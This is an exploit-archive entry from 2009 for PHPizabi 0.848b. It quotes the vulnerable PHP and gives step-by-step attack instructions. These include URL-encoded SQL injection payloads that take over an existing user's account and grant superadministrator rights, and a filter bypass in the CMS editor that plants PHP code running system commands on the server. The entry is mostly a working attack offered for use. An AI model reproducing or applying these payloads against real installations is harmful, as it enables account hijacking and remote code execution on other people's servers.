Exploit PHPizabi 0.848b C1 HFP1 - Privilege Escalation

[Exploiter]

EDB-ID

8279

Проверка EDB

1. Пройдено

Автор

NINE:SITUATIONS:GROUP

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

null

Дата публикации

2009-03-24

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PHPizabi v0.848b C1 HFP1 proc.inc.php remote privilege escalation (php.ini
independent)
by Nine:Situations:Group::bookoo
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our site: http://retrogod.altervista.org/
software site: http://www.phpizabi.net/
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vulnerability:
sql injection in /theme/default/proc.inc.php

<?php

	function bufferProcParse($buffer) {
		global $CONF;
		
		$tpl = new template;
		$tpl -> LoadThis($buffer);
		// HANDLE POSTED NOTEPAD DATA ///////////////////////////////////////////////////////
		if (isset($_GET["notepad_body"])) {
			myQ("UPDATE `[x]users` SET `notepad_body` = '".urldecode($_GET["notepad_body"])."' WHERE `id`='".me("id")."'");
			me("flush");
		}
...

note urldecode() ...

exploitation, manual:

injection urls:

change username and password of an existing user:
[sql]', username = 'bookoo', password = md5('pass') WHERE username = 'user'/*
which becomes:
http://host/path_to_phpizabi/?notepad_body=%2527,%20username%20=%20%2527bookoo%2527,%20password%20=%20md5(%2527pass%2527)%20WHERE%20username%20=%20%2527user%

2527/*

grant yourself admin rights:
[sql]', is_moderator = 1, is_administrator = 1, is_superadministrator = 1 WHERE username = 'bookoo'/*
which becomes:

http://host/path_to_phpizabi/?notepad_body=%2527,%20is_moderator%20=%201,%20is_administrator%20=%201,%20is_superadministrator%20=%201%20WHERE%20username%20=%

20%2527bookoo%2527/*

navigate:

http://host/path_to_phpizabi/?L=admin.index

boom !

now go to:

http://host/path_to_phpizabi/?L=admin.cms.edit&id={cms.file}

use this opening and closing tag style, example:

<script language="php">
system("ls -la");
</script>

(it is always availiable, see:http://www.php.net/manual/en/language.basic-syntax.phpmode.php)
because of that preg_replace() in /modules/admin/cms/edit.php :

...
	if (isset($_POST["Submit"])) {
		if ($handle = fopen("modules/cms/{$_GET["id"]}.php", "w")) {
			
			$body =
				"<?php if (!defined(\"CORE_STRAP\")) die(); ?>\n"
				.preg_replace('#(<\\?.*\\?>)|(<%.*%>)|<\\?php|<\\?|\\?>|<%|%>#si', NULL, stripslashes($_POST["body"][0]))
				."\n<!-- Edited by ".me("username")." on ".date($CONF["LOCALE_HEADER_DATE_TIME"])." -->";
			;
			
			fwrite($handle, $body);
			fclose($handle);
...

which is bypassed.

save changes and navigate:

http://host/path_to_phpizabi/?L=cms._cms_file_

to see the output...

now visit log page:

http://192.168.0.1/phpizabi/?L=admin.logs.logs

...
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# milw0rm.com [2009-03-24]